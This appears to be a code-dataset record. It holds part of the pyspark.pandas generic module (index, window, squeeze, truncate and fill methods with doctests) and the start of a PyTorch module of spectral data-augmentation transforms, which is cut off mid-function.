3.0 400.0\n R 2.0 1.0 200.0\n\n >>> psdf.first_valid_index()\n 'W'\n\n Support for Series.\n\n >>> s = ps.Series([None, None, 3, 4, 5], index=[100, 200, 300, 400, 500])\n >>> s\n 100 NaN\n 200 NaN\n 300 3.0\n 400 4.0\n 500 5.0\n dtype: float64\n\n >>> s.first_valid_index()\n 300\n\n Support for MultiIndex\n\n >>> midx = pd.MultiIndex([['lama', 'cow', 'falcon'],\n ... ['speed', 'weight', 'length']],\n ... [[0, 0, 0, 1, 1, 1, 2, 2, 2],\n ... [0, 1, 2, 0, 1, 2, 0, 1, 2]])\n >>> s = ps.Series([None, None, None, None, 250, 1.5, 320, 1, 0.3], index=midx)\n >>> s\n lama speed NaN\n weight NaN\n length NaN\n cow speed NaN\n weight 250.0\n length 1.5\n falcon speed 320.0\n weight 1.0\n length 0.3\n dtype: float64\n\n >>> s.first_valid_index()\n ('cow', 'weight')\n \"\"\"\n data_spark_columns = self._internal.data_spark_columns\n\n if len(data_spark_columns) == 0:\n return None\n\n cond = reduce(lambda x, y: x & y, map(lambda x: x.isNotNull(), data_spark_columns))\n\n with sql_conf({SPARK_CONF_ARROW_ENABLED: False}):\n # Disable Arrow to keep row ordering.\n first_valid_row = cast(\n pd.DataFrame,\n self._internal.spark_frame.filter(cond)\n .select(self._internal.index_spark_columns)\n .limit(1)\n .toPandas(),\n )\n\n # For Empty Series or DataFrame, returns None.\n if len(first_valid_row) == 0:\n return None\n\n first_valid_row = first_valid_row.iloc[0]\n if len(first_valid_row) == 1:\n return first_valid_row.iloc[0]\n else:\n return tuple(first_valid_row)\n\n def last_valid_index(self) -> Optional[Union[Scalar, Tuple[Scalar, ...]]]:\n \"\"\"\n Return index for last non-NA/null value.\n\n Returns\n -------\n scalar, tuple, or None\n\n Notes\n -----\n This API only works with PySpark >= 3.0.\n\n Examples\n --------\n\n Support for DataFrame\n\n >>> psdf = ps.DataFrame({'a': [1, 2, 3, None],\n ... 'b': [1.0, 2.0, 3.0, None],\n ... 'c': [100, 200, 400, None]},\n ... index=['Q', 'W', 'E', 'R'])\n >>> psdf\n a b c\n Q 1.0 1.0 100.0\n W 2.0 2.0 200.0\n E 3.0 3.0 400.0\n R NaN NaN NaN\n\n >>> psdf.last_valid_index() # doctest: +SKIP\n 'E'\n\n Support for MultiIndex columns\n\n >>> psdf.columns = pd.MultiIndex.from_tuples([('a', 'x'), ('b', 'y'), ('c', 'z')])\n >>> psdf\n a b c\n x y z\n Q 1.0 1.0 100.0\n W 2.0 2.0 200.0\n E 3.0 3.0 400.0\n R NaN NaN NaN\n\n >>> psdf.last_valid_index() # doctest: +SKIP\n 'E'\n\n Support for Series.\n\n >>> s = ps.Series([1, 2, 3, None, None], index=[100, 200, 300, 400, 500])\n >>> s\n 100 1.0\n 200 2.0\n 300 3.0\n 400 NaN\n 500 NaN\n dtype: float64\n\n >>> s.last_valid_index() # doctest: +SKIP\n 300\n\n Support for MultiIndex\n\n >>> midx = pd.MultiIndex([['lama', 'cow', 'falcon'],\n ... ['speed', 'weight', 'length']],\n ... [[0, 0, 0, 1, 1, 1, 2, 2, 2],\n ... [0, 1, 2, 0, 1, 2, 0, 1, 2]])\n >>> s = ps.Series([250, 1.5, 320, 1, 0.3, None, None, None, None], index=midx)\n >>> s\n lama speed 250.0\n weight 1.5\n length 320.0\n cow speed 1.0\n weight 0.3\n length NaN\n falcon speed NaN\n weight NaN\n length NaN\n dtype: float64\n\n >>> s.last_valid_index() # doctest: +SKIP\n ('cow', 'weight')\n \"\"\"\n data_spark_columns = self._internal.data_spark_columns\n\n if len(data_spark_columns) == 0:\n return None\n\n cond = reduce(lambda x, y: x & y, map(lambda x: x.isNotNull(), data_spark_columns))\n\n last_valid_rows = (\n self._internal.spark_frame.filter(cond)\n .select(self._internal.index_spark_columns)\n .tail(1)\n )\n\n # For Empty Series or DataFrame, returns None.\n if len(last_valid_rows) == 0:\n return None\n\n last_valid_row = last_valid_rows[0]\n\n if len(last_valid_row) == 1:\n return last_valid_row[0]\n else:\n return tuple(last_valid_row)\n\n # TODO: 'center', 'win_type', 'on', 'axis' parameter should be implemented.\n def rolling(self, window: int, min_periods: Optional[int] = None) -> Rolling:\n \"\"\"\n Provide rolling transformations.\n\n .. note:: 'min_periods' in pandas-on-Spark works as a fixed window size unlike pandas.\n Unlike pandas, NA is also counted as the period. This might be changed\n in the near future.\n\n Parameters\n ----------\n window : int, or offset\n Size of the moving window.\n This is the number of observations used for calculating the statistic.\n Each window will be a fixed size.\n\n min_periods : int, default None\n Minimum number of observations in window required to have a value\n (otherwise result is NA).\n For a window that is specified by an offset, min_periods will default to 1.\n Otherwise, min_periods will default to the size of the window.\n\n Returns\n -------\n a Window sub-classed for the particular operation\n \"\"\"\n return Rolling(\n cast(Union[\"Series\", \"DataFrame\"], self), window=window, min_periods=min_periods\n )\n\n # TODO: 'center' and 'axis' parameter should be implemented.\n # 'axis' implementation, refer https://github.com/pyspark.pandas/pull/607\n def expanding(self, min_periods: int = 1) -> Expanding:\n \"\"\"\n Provide expanding transformations.\n\n .. note:: 'min_periods' in pandas-on-Spark works as a fixed window size unlike pandas.\n Unlike pandas, NA is also counted as the period. This might be changed\n in the near future.\n\n Parameters\n ----------\n min_periods : int, default 1\n Minimum number of observations in window required to have a value\n (otherwise result is NA).\n\n Returns\n -------\n a Window sub-classed for the particular operation\n \"\"\"\n return Expanding(cast(Union[\"Series\", \"DataFrame\"], self), min_periods=min_periods)\n\n def get(self, key: Any, default: Optional[Any] = None) -> Any:\n \"\"\"\n Get item from object for given key (DataFrame column, Panel slice,\n etc.). Returns default value if not found.\n\n Parameters\n ----------\n key : object\n\n Returns\n -------\n value : same type as items contained in object\n\n Examples\n --------\n >>> df = ps.DataFrame({'x':range(3), 'y':['a','b','b'], 'z':['a','b','b']},\n ... columns=['x', 'y', 'z'], index=[10, 20, 20])\n >>> df\n x y z\n 10 0 a a\n 20 1 b b\n 20 2 b b\n\n >>> df.get('x')\n 10 0\n 20 1\n 20 2\n Name: x, dtype: int64\n\n >>> df.get(['x', 'y'])\n x y\n 10 0 a\n 20 1 b\n 20 2 b\n\n >>> df.x.get(10)\n 0\n\n >>> df.x.get(20)\n 20 1\n 20 2\n Name: x, dtype: int64\n\n >>> df.x.get(15, -1)\n -1\n \"\"\"\n try:\n return self[key]\n except (KeyError, ValueError, IndexError):\n return default\n\n def squeeze(\n self, axis: Optional[Union[int, str]] = None\n ) -> Union[Scalar, \"DataFrame\", \"Series\"]:\n \"\"\"\n Squeeze 1 dimensional axis objects into scalars.\n\n Series or DataFrames with a single element are squeezed to a scalar.\n DataFrames with a single column or a single row are squeezed to a\n Series. Otherwise the object is unchanged.\n\n This method is most useful when you don't know if your\n object is a Series or DataFrame, but you do know it has just a single\n column. In that case you can safely call `squeeze` to ensure you have a\n Series.\n\n Parameters\n ----------\n axis : {0 or 'index', 1 or 'columns', None}, default None\n A specific axis to squeeze. By default, all length-1 axes are\n squeezed.\n\n Returns\n -------\n DataFrame, Series, or scalar\n The projection after squeezing `axis` or all the axes.\n\n See Also\n --------\n Series.iloc : Integer-location based indexing for selecting scalars.\n DataFrame.iloc : Integer-location based indexing for selecting Series.\n Series.to_frame : Inverse of DataFrame.squeeze for a\n single-column DataFrame.\n\n Examples\n --------\n >>> primes = ps.Series([2, 3, 5, 7])\n\n Slicing might produce a Series with a single value:\n\n >>> even_primes = primes[primes % 2 == 0]\n >>> even_primes\n 0 2\n dtype: int64\n\n >>> even_primes.squeeze()\n 2\n\n Squeezing objects with more than one value in every axis does nothing:\n\n >>> odd_primes = primes[primes % 2 == 1]\n >>> odd_primes\n 1 3\n 2 5\n 3 7\n dtype: int64\n\n >>> odd_primes.squeeze()\n 1 3\n 2 5\n 3 7\n dtype: int64\n\n Squeezing is even more effective when used with DataFrames.\n\n >>> df = ps.DataFrame([[1, 2], [3, 4]], columns=['a', 'b'])\n >>> df\n a b\n 0 1 2\n 1 3 4\n\n Slicing a single column will produce a DataFrame with the columns\n having only one value:\n\n >>> df_a = df[['a']]\n >>> df_a\n a\n 0 1\n 1 3\n\n So the columns can be squeezed down, resulting in a Series:\n\n >>> df_a.squeeze('columns')\n 0 1\n 1 3\n Name: a, dtype: int64\n\n Slicing a single row from a single column will produce a single\n scalar DataFrame:\n\n >>> df_1a = df.loc[[1], ['a']]\n >>> df_1a\n a\n 1 3\n\n Squeezing the rows produces a single scalar Series:\n\n >>> df_1a.squeeze('rows')\n a 3\n Name: 1, dtype: int64\n\n Squeezing all axes will project directly into a scalar:\n\n >>> df_1a.squeeze()\n 3\n \"\"\"\n if axis is not None:\n axis = \"index\" if axis == \"rows\" else axis\n axis = validate_axis(axis)\n\n if isinstance(self, ps.DataFrame):\n from pyspark.pandas.series import first_series\n\n is_squeezable = len(self.columns[:2]) == 1\n # If DataFrame has multiple columns, there is no change.\n if not is_squeezable:\n return self\n series_from_column = first_series(self)\n has_single_value = len(series_from_column.head(2)) == 1\n # If DataFrame has only a single value, use pandas API directly.\n if has_single_value:\n result = self._to_internal_pandas().squeeze(axis)\n return ps.Series(result) if isinstance(result, pd.Series) else result\n elif axis == 0:\n return self\n else:\n return series_from_column\n else:\n # The case of Series is simple.\n # If Series has only a single value, just return it as a scalar.\n # Otherwise, there is no change.\n self_top_two = cast(\"Series\", self).head(2)\n has_single_value = len(self_top_two) == 1\n return cast(Union[Scalar, ps.Series], self_top_two[0] if has_single_value else self)\n\n def truncate(\n self,\n before: Optional[Any] = None,\n after: Optional[Any] = None,\n axis: Optional[Union[int, str]] = None,\n copy: bool_type = True,\n ) -> Union[\"DataFrame\", \"Series\"]:\n \"\"\"\n Truncate a Series or DataFrame before and after some index value.\n\n This is a useful shorthand for boolean indexing based on index\n values above or below certain thresholds.\n\n .. note:: This API is dependent on :meth:`Index.is_monotonic_increasing`\n which can be expensive.\n\n Parameters\n ----------\n before : date, str, int\n Truncate all rows before this index value.\n after : date, str, int\n Truncate all rows after this index value.\n axis : {0 or 'index', 1 or 'columns'}, optional\n Axis to truncate. Truncates the index (rows) by default.\n copy : bool, default is True,\n Return a copy of the truncated section.\n\n Returns\n -------\n type of caller\n The truncated Series or DataFrame.\n\n See Also\n --------\n DataFrame.loc : Select a subset of a DataFrame by label.\n DataFrame.iloc : Select a subset of a DataFrame by position.\n\n Examples\n --------\n >>> df = ps.DataFrame({'A': ['a', 'b', 'c', 'd', 'e'],\n ... 'B': ['f', 'g', 'h', 'i', 'j'],\n ... 'C': ['k', 'l', 'm', 'n', 'o']},\n ... index=[1, 2, 3, 4, 5])\n >>> df\n A B C\n 1 a f k\n 2 b g l\n 3 c h m\n 4 d i n\n 5 e j o\n\n >>> df.truncate(before=2, after=4)\n A B C\n 2 b g l\n 3 c h m\n 4 d i n\n\n The columns of a DataFrame can be truncated.\n\n >>> df.truncate(before=\"A\", after=\"B\", axis=\"columns\")\n A B\n 1 a f\n 2 b g\n 3 c h\n 4 d i\n 5 e j\n\n For Series, only rows can be truncated.\n\n >>> df['A'].truncate(before=2, after=4)\n 2 b\n 3 c\n 4 d\n Name: A, dtype: object\n\n A Series has index that sorted integers.\n\n >>> s = ps.Series([10, 20, 30, 40, 50, 60, 70],\n ... index=[1, 2, 3, 4, 5, 6, 7])\n >>> s\n 1 10\n 2 20\n 3 30\n 4 40\n 5 50\n 6 60\n 7 70\n dtype: int64\n\n >>> s.truncate(2, 5)\n 2 20\n 3 30\n 4 40\n 5 50\n dtype: int64\n\n A Series has index that sorted strings.\n\n >>> s = ps.Series([10, 20, 30, 40, 50, 60, 70],\n ... index=['a', 'b', 'c', 'd', 'e', 'f', 'g'])\n >>> s\n a 10\n b 20\n c 30\n d 40\n e 50\n f 60\n g 70\n dtype: int64\n\n >>> s.truncate('b', 'e')\n b 20\n c 30\n d 40\n e 50\n dtype: int64\n \"\"\"\n from pyspark.pandas.series import first_series\n\n axis = validate_axis(axis)\n indexes = self.index\n indexes_increasing = indexes.is_monotonic_increasing\n if not indexes_increasing and not indexes.is_monotonic_decreasing:\n raise ValueError(\"truncate requires a sorted index\")\n if (before is None) and (after is None):\n return cast(Union[ps.DataFrame, ps.Series], self.copy() if copy else self)\n if (before is not None and after is not None) and before > after:\n raise ValueError(\"Truncate: %s must be after %s\" % (after, before))\n\n if isinstance(self, ps.Series):\n if indexes_increasing:\n result = first_series(self.to_frame().loc[before:after]).rename(self.name)\n else:\n result = first_series(self.to_frame().loc[after:before]).rename(self.name)\n elif isinstance(self, ps.DataFrame):\n if axis == 0:\n if indexes_increasing:\n result = self.loc[before:after]\n else:\n result = self.loc[after:before]\n elif axis == 1:\n result = self.loc[:, before:after]\n\n return cast(Union[ps.DataFrame, ps.Series], result.copy() if copy else result)\n\n def to_markdown(\n self, buf: Optional[Union[IO[str], str]] = None, mode: Optional[str] = None\n ) -> str:\n \"\"\"\n Print Series or DataFrame in Markdown-friendly format.\n\n .. note:: This method should only be used if the resulting pandas object is expected\n to be small, as all the data is loaded into the driver's memory.\n\n Parameters\n ----------\n buf : writable buffer, defaults to sys.stdout\n Where to send the output. By default, the output is printed to\n sys.stdout. Pass a writable buffer if you need to further process\n the output.\n mode : str, optional\n Mode in which file is opened.\n **kwargs\n These parameters will be passed to `tabulate`.\n\n Returns\n -------\n str\n Series or DataFrame in Markdown-friendly format.\n\n Notes\n -----\n Requires the `tabulate <https://pypi.org/project/tabulate>`_ package.\n\n Examples\n --------\n >>> psser = ps.Series([\"elk\", \"pig\", \"dog\", \"quetzal\"], name=\"animal\")\n >>> print(psser.to_markdown()) # doctest: +SKIP\n | | animal |\n |---:|:---------|\n | 0 | elk |\n | 1 | pig |\n | 2 | dog |\n | 3 | quetzal |\n\n >>> psdf = ps.DataFrame(\n ... data={\"animal_1\": [\"elk\", \"pig\"], \"animal_2\": [\"dog\", \"quetzal\"]}\n ... )\n >>> print(psdf.to_markdown()) # doctest: +SKIP\n | | animal_1 | animal_2 |\n |---:|:-----------|:-----------|\n | 0 | elk | dog |\n | 1 | pig | quetzal |\n \"\"\"\n # `to_markdown` is supported in pandas >= 1.0.0 since it's newly added in pandas 1.0.0.\n if LooseVersion(pd.__version__) < LooseVersion(\"1.0.0\"):\n raise NotImplementedError(\n \"`to_markdown()` only supported in pandas-on-Spark with pandas >= 1.0.0\"\n )\n # Make sure locals() call is at the top of the function so we don't capture local variables.\n args = locals()\n psser_or_psdf = self\n internal_pandas = psser_or_psdf._to_internal_pandas()\n return validate_arguments_and_invoke_function(\n internal_pandas, self.to_markdown, type(internal_pandas).to_markdown, args\n )\n\n @abstractmethod\n def fillna(\n self: T_Frame,\n value: Optional[Any] = None,\n method: Optional[str] = None,\n axis: Optional[Union[int, str]] = None,\n inplace: bool_type = False,\n limit: Optional[int] = None,\n ) -> T_Frame:\n pass\n\n # TODO: add 'downcast' when value parameter exists\n def bfill(\n self: T_Frame,\n axis: Optional[Union[int, str]] = None,\n inplace: bool_type = False,\n limit: Optional[int] = None,\n ) -> T_Frame:\n \"\"\"\n Synonym for `DataFrame.fillna()` or `Series.fillna()` with ``method=`bfill```.\n\n .. note:: the current implementation of 'bfill' uses Spark's Window\n without specifying partition specification. This leads to move all data into\n single partition in single machine and could cause serious\n performance degradation. Avoid this method against very large dataset.\n\n Parameters\n ----------\n axis : {0 or `index`}\n 1 and `columns` are not supported.\n inplace : boolean, default False\n Fill in place (do not create a new object)\n limit : int, default None\n If method is specified, this is the maximum number of consecutive NaN values to\n forward/backward fill. In other words, if there is a gap with more than this number of\n consecutive NaNs, it will only be partially filled. If method is not specified,\n this is the maximum number of entries along the entire axis where NaNs will be filled.\n Must be greater than 0 if not None\n\n Returns\n -------\n DataFrame or Series\n DataFrame or Series with NA entries filled.\n\n Examples\n --------\n >>> psdf = ps.DataFrame({\n ... 'A': [None, 3, None, None],\n ... 'B': [2, 4, None, 3],\n ... 'C': [None, None, None, 1],\n ... 'D': [0, 1, 5, 4]\n ... },\n ... columns=['A', 'B', 'C', 'D'])\n >>> psdf\n A B C D\n 0 NaN 2.0 NaN 0\n 1 3.0 4.0 NaN 1\n 2 NaN NaN NaN 5\n 3 NaN 3.0 1.0 4\n\n Propagate non-null values backward.\n\n >>> psdf.bfill()\n A B C D\n 0 3.0 2.0 1.0 0\n 1 3.0 4.0 1.0 1\n 2 NaN 3.0 1.0 5\n 3 NaN 3.0 1.0 4\n\n For Series\n\n >>> psser = ps.Series([None, None, None, 1])\n >>> psser\n 0 NaN\n 1 NaN\n 2 NaN\n 3 1.0\n dtype: float64\n\n >>> psser.bfill()\n 0 1.0\n 1 1.0\n 2 1.0\n 3 1.0\n dtype: float64\n \"\"\"\n return self.fillna(method=\"bfill\", axis=axis, inplace=inplace, limit=limit)\n\n backfill = bfill\n\n # TODO: add 'downcast' when value parameter exists\n def ffill(\n self: T_Frame,\n axis: Optional[Union[int, str]] = None,\n inplace: bool_type = False,\n limit: Optional[int] = None,\n ) -> T_Frame:\n \"\"\"\n Synonym for `DataFrame.fillna()` or `Series.fillna()` with ``method=`ffill```.\n\n .. note:: the current implementation of 'ffill' uses Spark's Window\n without specifying partition specification. This leads to move all data into\n single partition in single machine and could cause serious\n performance degradation. Avoid this method against very large dataset.\n\n Parameters\n ----------\n axis : {0 or `index`}\n 1 and `columns` are not supported.\n inplace : boolean, default False\n Fill in place (do not create a new object)\n limit : int, default None\n If method is specified, this is the maximum number of consecutive NaN values to\n forward/backward fill. In other words, if there is a gap with more than this number of\n consecutive NaNs, it will only be partially filled. If method is not specified,\n this is the maximum number of entries along the entire axis where NaNs will be filled.\n Must be greater than 0 if not None\n\n Returns\n -------\n DataFrame or Series\n DataFrame or Series with NA entries filled.\n\n Examples\n --------\n >>> psdf = ps.DataFrame({\n ... 'A': [None, 3, None, None],\n ... 'B': [2, 4, None, 3],\n ... 'C': [None, None, None, 1],\n ... 'D': [0, 1, 5, 4]\n ... },\n ... columns=['A', 'B', 'C', 'D'])\n >>> psdf\n A B C D\n 0 NaN 2.0 NaN 0\n 1 3.0 4.0 NaN 1\n 2 NaN NaN NaN 5\n 3 NaN 3.0 1.0 4\n\n Propagate non-null values forward.\n\n >>> psdf.ffill()\n A B C D\n 0 NaN 2.0 NaN 0\n 1 3.0 4.0 NaN 1\n 2 3.0 4.0 NaN 5\n 3 3.0 3.0 1.0 4\n\n For Series\n\n >>> psser = ps.Series([2, 4, None, 3])\n >>> psser\n 0 2.0\n 1 4.0\n 2 NaN\n 3 3.0\n dtype: float64\n\n >>> psser.ffill()\n 0 2.0\n 1 4.0\n 2 4.0\n 3 3.0\n dtype: float64\n \"\"\"\n return self.fillna(method=\"ffill\", axis=axis, inplace=inplace, limit=limit)\n\n pad = ffill\n\n @property\n def at(self) -> AtIndexer:\n return AtIndexer(self) # type: ignore\n\n at.__doc__ = AtIndexer.__doc__\n\n @property\n def iat(self) -> iAtIndexer:\n return iAtIndexer(self) # type: ignore\n\n iat.__doc__ = iAtIndexer.__doc__\n\n @property\n def iloc(self) -> iLocIndexer:\n return iLocIndexer(self) # type: ignore\n\n iloc.__doc__ = iLocIndexer.__doc__\n\n @property\n def loc(self) -> LocIndexer:\n return LocIndexer(self) # type: ignore\n\n loc.__doc__ = LocIndexer.__doc__\n\n def __bool__(self) -> NoReturn:\n raise ValueError(\n \"The truth value of a {0} is ambiguous. \"\n \"Use a.empty, a.bool(), a.item(), a.any() or a.all().\".format(self.__class__.__name__)\n )\n\n @staticmethod\n def _count_expr(spark_column: Column, spark_type: DataType) -> Column:\n # Special handle floating point types because Spark's count treats nan as a valid value,\n # whereas pandas count doesn't include nan.\n if isinstance(spark_type, (FloatType, DoubleType)):\n return F.count(F.nanvl(spark_column, F.lit(None)))\n else:\n return F.count(spark_column)\n\n\ndef _test() -> None:\n import os\n import doctest\n import shutil\n import sys\n import tempfile\n from pyspark.sql import SparkSession\n import pyspark.pandas.generic\n\n os.chdir(os.environ[\"SPARK_HOME\"])\n\n globs = pyspark.pandas.generic.__dict__.copy()\n globs[\"ps\"] = pyspark.pandas\n spark = (\n SparkSession.builder.master(\"local[4]\")\n .appName(\"pyspark.pandas.generic tests\")\n .getOrCreate()\n )\n\n path = tempfile.mkdtemp()\n globs[\"path\"] = path\n\n (failure_count, test_count) = doctest.testmod(\n pyspark.pandas.generic,\n globs=globs,\n optionflags=doctest.ELLIPSIS | doctest.NORMALIZE_WHITESPACE,\n )\n\n shutil.rmtree(path, ignore_errors=True)\n spark.stop()\n if failure_count:\n sys.exit(-1)\n\n\nif __name__ == \"__main__\":\n _test()\n" ]
[ [ "pandas.api.types.is_list_like" ] ]
conor-horgan/spectrai
[ "121dc677f161dbe85f62febc295909d1fb1825af" ]
[ "spectrai/transforms/spectral_transforms.py" ]
[ "import numpy as np\nfrom scipy import sparse, ndimage\nfrom scipy.sparse.linalg import spsolve\nimport torch\nfrom torch import nn\n\nclass Transform(object):\n \"\"\"Base class defining a spectral transform.\"\"\"\n def __init__(self):\n pass\n\n def apply_transform(self, sample):\n return NotImplementedError\n\n def __call__(self, sample):\n \"\"\"Applies transformation to input and (possibly) target data.\n\n Arguments:\n sample: dictionary containing the following fields\n input: (possibly augmented) input data\n target:\n data: (possibly augmented) target data\n type: target data type (e.g. 'spectrum', 'hyperspectral_image')\n \n Returns:\n sample: dictionary containing the following fields\n input: (possibly augmented) input data\n target:\n data: (possibly augmented) target data\n type: target data type (e.g. 'spectrum', 'hyperspectral_image')\n \"\"\"\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n\n sample_input = self.apply_transform(sample_input)\n\n if target_type == 'spectrum' or target_type == 'hyperspectral_image':\n target_data = self.apply_transform(target_data)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass Squeeze(Transform):\n def __init__(self):\n super(Squeeze, self).__init__()\n\n def apply_transform(self, spectrum):\n spectrum = torch.squeeze(spectrum)\n return spectrum\n\n def __call__(self, sample):\n return super(Squeeze, self).__call__(sample)\n\nclass CropSpectrum(Transform):\n \"\"\"Transform class that crops spectrum to given index range.\"\"\"\n def __init__(self, start, end):\n super(CropSpectrum, self).__init__()\n assert isinstance(start, int)\n assert isinstance(end, int)\n self.start = start\n self.end = end\n\n def apply_transform(self, spectrum):\n spectrum = spectrum[...,self.start:self.end]\n return spectrum\n\n def __call__(self, sample):\n return super(CropSpectrum, self).__call__(sample)\n\nclass PadSpectrum(Transform):\n \"\"\"Transform class that pads or crops spectrum to given length.\"\"\"\n def __init__(self, spectrum_length):\n super(PadSpectrum, self).__init__()\n assert isinstance(spectrum_length, int)\n self.spectrum_length = spectrum_length\n\n def apply_transform(self, spectrum):\n if spectrum.shape[-1] == self.spectrum_length:\n spectrum = spectrum\n elif spectrum.shape[-1] > self.spectrum_length:\n spectrum = spectrum[...,0:self.spectrum_length]\n else:\n m = nn.ReflectionPad1d((0,self.spectrum_length - spectrum.shape[-1]))\n spectrum = m(spectrum.unsqueeze(0)).squeeze(0)\n return spectrum\n\n def __call__(self, sample):\n return super(PadSpectrum, self).__call__(sample)\n\nclass ShiftSpectrum(Transform):\n \"\"\"Transform class that shifts spectrum left or right.\"\"\"\n def __init__(self, shift):\n super(ShiftSpectrum, self).__init__() \n assert isinstance(shift, float)\n self.shift = shift\n\n def apply_transform(self, spectrum, shift_amount):\n if shift_amount > 0:\n m = nn.ReflectionPad1d((0,abs(shift_amount)))\n if len(spectrum.shape) == 1:\n spectrum = m(spectrum[...,shift_amount:].unsqueeze(0).unsqueeze(0)).squeeze(0)\n else:\n spectrum = m(spectrum[...,shift_amount:].unsqueeze(0))\n elif shift_amount < 0:\n m = nn.ReflectionPad1d((abs(shift_amount),0))\n if len(spectrum.shape) == 1:\n spectrum = m(spectrum[...,:shift_amount].unsqueeze(0).unsqueeze(0)).squeeze(0)\n else:\n spectrum = m(spectrum[...,:shift_amount].unsqueeze(0))\n return spectrum.squeeze(0)\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n\n if self.shift != 0.0:\n shift_range = np.random.uniform(-self.shift, self.shift)\n shift_amount = int(np.round(shift_range*sample_input.shape[-1]))\n\n sample_input = self.apply_transform(sample_input, shift_amount)\n\n if target_type == 'spectrum' or target_type == 'hyperspectral_image':\n if self.shift != 0.0:\n target_data = self.apply_transform(target_data, shift_amount)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass MinBackgroundSpectrum(Transform):\n \"\"\"Transform class that performs spectral minimum value background subtraction.\"\"\"\n def __init__(self):\n super(MinBackgroundSpectrum, self).__init__()\n\n def apply_transform(self, spectrum):\n spectrum = spectrum - torch.amin(spectrum)\n return spectrum\n\n def __call__(self, sample):\n return super(MinBackgroundSpectrum, self).__call__(sample)\n\nclass PolyBackgroundSpectrum(Transform):\n \"\"\"Transform class that performs spectral polynomial background subtraction.\"\"\"\n def __init__(self, order):\n super(PolyBackgroundSpectrum, self).__init__()\n assert isinstance(order, int)\n self.order = order\n\n def apply_transform(self, spectrum):\n spectrum = np.squeeze(spectrum.numpy())\n x = np.arange(0, spectrum.shape[0])\n poly = np.poly1d(np.polyfit(x, spectrum, self.order))\n spectrum = spectrum - poly(x)\n if np.amin(spectrum) < 0.0:\n spectrum = spectrum + np.abs(np.amin(spectrum))\n spectrum = spectrum[np.newaxis,...]\n return torch.from_numpy(spectrum)\n\n def __call__(self, sample):\n return super(PolyBackgroundSpectrum, self).__call__(sample)\n\nclass ALSBackgroundSpectrum(Transform):\n \"\"\"Transform class that performs asymmetric least squares background subtraction.\"\"\"\n def __init__(self, apply_target, lam = 10000, p = 0.05, n = 10):\n assert isinstance(apply_target, bool)\n assert isinstance(lam, int)\n assert isinstance(p, float)\n assert isinstance(n, int)\n self.apply_target = apply_target\n self.lam = lam\n self.p = p\n self.n = n\n\n def apply_transform(self, spectrum):\n spectrum = np.squeeze(spectrum.numpy())\n L = len(spectrum)\n D = sparse.diags([1,-2,1],[0,-1,-2], shape=(L,L-2))\n w = np.ones(L)\n for i in range(self.n):\n W = sparse.spdiags(w, 0, L, L)\n Z = W + self.lam * D.dot(D.transpose())\n z = spsolve(Z, w*spectrum)\n w = self.p * (spectrum > z) + (1-self.p) * (spectrum < z)\n spectrum = spectrum - z\n spectrum = spectrum[np.newaxis,...]\n return torch.from_numpy(spectrum)\n\n def __call__(self, sample):\n return super(ALSBackgroundSpectrum, self).__call__(sample)\n\nclass MaxNormalizeSpectrum(Transform):\n \"\"\"Transform class that normalizes a spectrum by its maximum value.\"\"\"\n def __init__(self):\n super(MaxNormalizeSpectrum, self).__init__()\n\n def apply_transform(self, spectrum):\n spectrum = spectrum/torch.amax(spectrum)\n return spectrum\n\n def __call__(self, sample):\n return super(MaxNormalizeSpectrum, self).__call__(sample)\n\nclass AUCNormalizeSpectrum(Transform):\n \"\"\"Transform class that normalizes a spectrum by the area under the curve.\"\"\"\n def __init__(self):\n super(AUCNormalizeSpectrum, self).__init__()\n\n def apply_transform(self, spectrum):\n spectrum = spectrum/torch.sum(spectrum)\n return spectrum\n\n def __call__(self, sample):\n return super(AUCNormalizeSpectrum, self).__call__(sample)\n\nclass FlipAxis(Transform):\n \"\"\"Transform class that flips one axis of an input sample.\"\"\"\n def __init__(self, axis):\n super(FlipAxis, self).__init__()\n assert isinstance(axis, int)\n self.axis = axis\n\n def apply_transform(self, sample):\n sample = torch.flip(sample, [self.axis])\n return sample\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n \n if torch.rand(1) < 0.5:\n sample_input = self.apply_transform(sample_input)\n\n if target_type == 'spectrum' or target_type == 'hyperspectral_image' or (target_type == 'mask' and self.axis != 2):\n target_data = self.apply_transform(target_data)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass CropImageSpectrum(Transform):\n \"\"\"Transform class that crops image spectra to given index range.\"\"\"\n def __init__(self, start, end):\n super(CropImageSpectrum, self).__init__()\n assert isinstance(start, int)\n assert isinstance(end, int)\n self.start = start\n self.end = end\n\n def apply_transform(self, image):\n image = image[:,:,self.start:self.end]\n return image\n\n def __call__(self, sample):\n return super(CropImageSpectrum, self).__call__(sample)\n\nclass ShiftImageSpectrum(Transform):\n \"\"\"Transform class that shifts image spectra left or right.\"\"\"\n def __init__(self, shift):\n super(ShiftImageSpectrum, self).__init__()\n assert isinstance(shift, float)\n self.shift = shift\n\n def apply_transform(self, image, shift_amount):\n shifted_spectrum_image = image.unsqueeze(0)\n if shift_amount > 0:\n m = nn.ReflectionPad2d((0,abs(shift_amount),0,0))\n shifted_spectrum_image = m(shifted_spectrum_image[:,:,:,shift_amount:])\n elif shift_amount < 0:\n m = nn.ReflectionPad2d((abs(shift_amount),0,0,0))\n shifted_spectrum_image = m(shifted_spectrum_image[:,:,:,:shift_amount])\n return shifted_spectrum_image.squeeze()\n\n def __call__(self, sample):\n sample_input, target_data, target_type, name = sample['input'], sample['target']['data'], sample['target']['type'], sample['name']\n \n if self.shift != 0.0:\n shift_range = np.random.uniform(-self.shift, self.shift)\n shift_amount = int(np.round(shift_range*sample_input.shape[-1]))\n\n sample_input = self.apply_transform(sample_input, shift_amount)\n\n if target_type == 'spectrum' or target_type == 'hyperspectral_image':\n if self.shift != 0.0:\n target_data = self.apply_transform(target_data, shift_amount)\n\n return {'input': sample_input, 'target': {'data': target_data, 'type': target_type}, 'name': name}\n\nclass PadCropImage(Transform):\n \"\"\"Transform class that pads or crops image spectra to given length.\"\"\"\n def __init__(self, size, random_crop):\n super(PadCropImage, self).__init__()\n assert isinstance(size, int)\n self.size = size\n self.random_crop = random_crop\n\n def random_crop_image(self, image, image_size, start_idx_x, 